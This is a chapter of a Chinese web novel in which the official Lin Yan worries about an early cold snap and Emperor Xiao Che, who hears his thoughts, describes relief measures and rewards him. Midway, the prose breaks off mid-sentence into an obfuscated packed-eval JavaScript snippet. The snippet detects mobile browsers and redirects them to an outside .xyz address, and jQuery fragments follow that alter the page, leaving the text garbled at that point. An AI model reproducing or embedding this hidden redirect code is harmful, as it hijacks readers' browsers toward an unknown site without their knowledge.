林砚瘫在椅子上,感觉自己的胳膊已经不是自己的了,像两根被反复拧过又甩干的海带,软绵绵地垂在身侧。
连灌下去两大碗温茶水,喉咙里那股冒烟的感觉才勉强被压下去。
萧彻终于收手了,对今天的“奇迹小林”换装秀似乎非常满意,嘴角噙着一丝笑意:“这些衣裳既赏了你,便是要穿的,不必舍不得。”
林砚有气无力地应了声“是”。
【穿!一定穿!从里到外一天换三套!争取早日把箱底穿破,才对得起陛下您这番折腾!】
萧彻笑意更深。
林砚喘匀了气,那股被华服和帝王恩赏暂时压下去的异样感又浮了上来。
他扭头望向窗外,天色灰蒙蒙的,庭院里的树叶被风吹得簌簌作响,那股子寒意隔着窗似乎都能透进来。
不对啊。
林砚皱起眉,下意识拢了拢身上那件簇新的、镶着丰厚貂毛领的锦袍。
这才刚进九月,就算秋凉,也不该是这种渗入骨头的冷法。
这冷得有点邪门,简直像是跳过了深秋,直接入了冬。
他忍不住转向萧彻,脸上带着真实的困惑:“陛下,臣恍惚记得,今日才九月初七?按理不该寒凉至此,莫非是今年气候有异?”
萧彻正端着一盏新沏的热茶,闻言,吹拂茶沫的动作几不可察地顿了一下。
他抬眸,看向林砚的眼神里掠过一丝极淡的欣赏。
嗯,脑子转得倒是快,比那些只会歌功颂德,或是埋头自家一亩三分田的官员强上太多。
心里想着林砚聪慧,面上却不动声色,依旧是那副深不可测的帝王相,只微微颔首,语气平淡:“林卿所言不错,今岁寒气,确比往年来得早,也来得更凛冽些。”
真是天气异常!
林砚的心猛地一沉。
刚才那点因为试衣产生的疲惫和吐槽瞬间被一股更大的焦虑取代。
这可是古代!
没有集中供暖,没有羽绒服,没有抗寒高产作物。
林砚几乎能想象到,那些田埂地头、茅草屋里,会是怎样一番光景。
“陛下。”林砚的声音不自觉地带上了一丝急迫,“秋收虽近尾声,然骤寒至此,恐伤禾稼根本,影响冬小麦播种发芽,且百姓御寒之物恐怕不及预备,尤其是贫苦之家,茅屋破败,衣不蔽体,炭薪价昂……此番寒潮,若应对不善,恐生冻馁之忧!”
他越说眉头皱得越紧,曾经背过的《卖炭翁》在他脑子里不断闪现。
萧彻看着林砚那副毫不作伪的忧心忡忡,眼神柔和了些许。
“你能虑及于此,甚好。”他的声音依旧平稳,却似乎比刚才多了一份沉凝,“此事,朕已知晓,并已着手应对。”
林砚眼中满是惊诧:“陛下已做了准备?”
他明明记得最近萧彻的主要精力都放在清洗礼部、查办武海闵和那劳什子邪.教遗毒上啊?
偶尔去御书房还能听到萧彻不带脏字地骂人,忙得跟个陀螺似的,什么时候腾出手来搞防灾准备了?
当皇帝的人都这么牛逼吗?
一天十二个时辰拆成二十四个时辰用?
一股难以言喻的敬佩之情,混合着震惊,油然而生。
萧彻将他脸上那毫不掩饰的震惊与崇拜尽收眼底,心下受用,语气却依旧淡然,仿佛只是处理了一件微不足道的小事:“北地边镇八百里加急呈报寒气南下时,朕便已下令户部协同各地官府,清查官仓储粮,以备不时之需,另,朕之内帑,也已拨出专款,采买御寒物资,分发京畿及受寒郡县贫户。”
林砚听得眼睛都直了。
内帑!皇帝的小金库!说掏就掏了?
“炭薪柴草等物。”萧彻继续道,“已传谕各地平准署,严密监控市价,若有奸商敢趁天时囤积居奇、哄抬物价。”
他声音微冷:“立斩不赦。”
林砚下意识地摸了摸脖子,感觉后颈凉飕飕的。
陛下威武!
“至于北戎……”萧彻眸光转深,掠过一丝冷冽的寒芒,“彼辈逐水草而居,最畏严寒白灾,今岁寒潮早临,其境内水草必然提前枯竭,牲畜大批冻毙饿死乃意料中事,为求活路,其南下劫掠之心恐怕比往年更盛,边关守将已得朕密旨,严加防范,烽燧斥候,不敢有片刻懈怠。”
这一连串的安排,从民生到经济再到军事,考虑得周全缜密,几乎是滴水不漏。
林砚彻底听呆了,嘴巴微微张着,半天合不拢。
他看看萧彻,又想想自己刚才那点粗浅的担忧,深觉是跟摆烂摸鱼的同事呆久了,所以都忘记了,他眼前的人可是皇帝。
林砚内心的崇拜之情如同滔滔江水,奔涌不息。
【陛下牛逼!】
【这反应速度!这执行力!这未雨绸缪的水平!】
【我跟陛下之间的差距,大概隔了一百个武海闵!】
林砚人生中第一次看领导顺眼就是萧彻,这领导大方,工作也井井有条,跟着这种领导肯定不会亏。
萧彻听着脑子里那毫不掩饰的赞美,饶是帝王,指腹也几不可察地摩挲了下温热的杯壁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434149|184940||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,压下那点几乎要冲破沉稳表象的笑意。
今日这夸赞,虽用词直白粗犷了些,但胜在情感真挚,情绪饱满,听起来……格外顺耳。
“能想到百姓寒暖,心系黎庶,是好事。”萧彻目光落在林砚那尚未完全合拢的嘴上,语气听不出什么波澜,“只是身为朝廷命官,光忧虑无用,须得落到实处。”
林砚一个激灵,立刻从“陛下牛逼”的震撼中回神,腰板下意识挺直了些:“陛下教诲的是,臣受教。”
【对对对,领导说得对!光喊666不行,得干实事!】
【所以陛下您看我适合干点啥?去户部帮数银子?去平准署盯着炭价?还是去北边给戍边将士送温暖?您一句话,我这就……呃,我现在是祠部司郎中,好像不能去别的地方吧?】
想到祠部司繁琐的公务,林砚总觉得将来哪一天,自己就会多长一个脑子。
萧彻将他内心那点起伏听得一清二楚,差点没忍住挑眉。
有趣,太有趣了。
“祠部司如今由你署理,一应祭祀典仪,关乎民心安定,尤其在此时节,更不可出半点纰漏。”萧彻语气平淡地给林砚那颗试图放飞的心套上缰绳,“将你手头份内之事处置妥当,便是首要之功。”
行吧。
砚内心哀嚎一声,面上却恭敬无比:“臣遵旨,定当恪尽职守,将祠部司事务打理周全,不负陛下所托。”
萧彻满意地“嗯”了一声,没白费他又是送猫又是送衣服的。
他目光掠过窗外愈发阴沉的天色,像是随口一提:“天色不早,今日便到此吧,李莲顺——”
在林砚换装游戏结束后,如同背景板般侍立在阴影里的李莲顺立刻悄无声息地上前一步:“奴婢在。”
“去将前几日高丽进贡的那篓上品白参取来,让林卿带回去。”萧彻吩咐得轻描淡写,“天寒骤冷,易感风寒,拿去给你父母补补身子。”
林砚:“!!!”
贡品!
陛下说给就给了?还是一篓?!
巨大的惊喜砸得林砚头晕目眩。
【陛下大气!陛下您就是我的亲陛下!】
萧彻挥了挥手,语气里带上了一丝不易察觉的温和:“行了,起来吧,早些回去,莫让你父母挂心。”
林砚此时也反应过来,他可以出宫了!
在皇宫住的这些日子,他吃得好喝得好穿得好住得好,还有御猫可以撸,还升了官,还有各种赏赐。
他这算不算是另外一种意义上的衣锦还乡?
陛下万岁!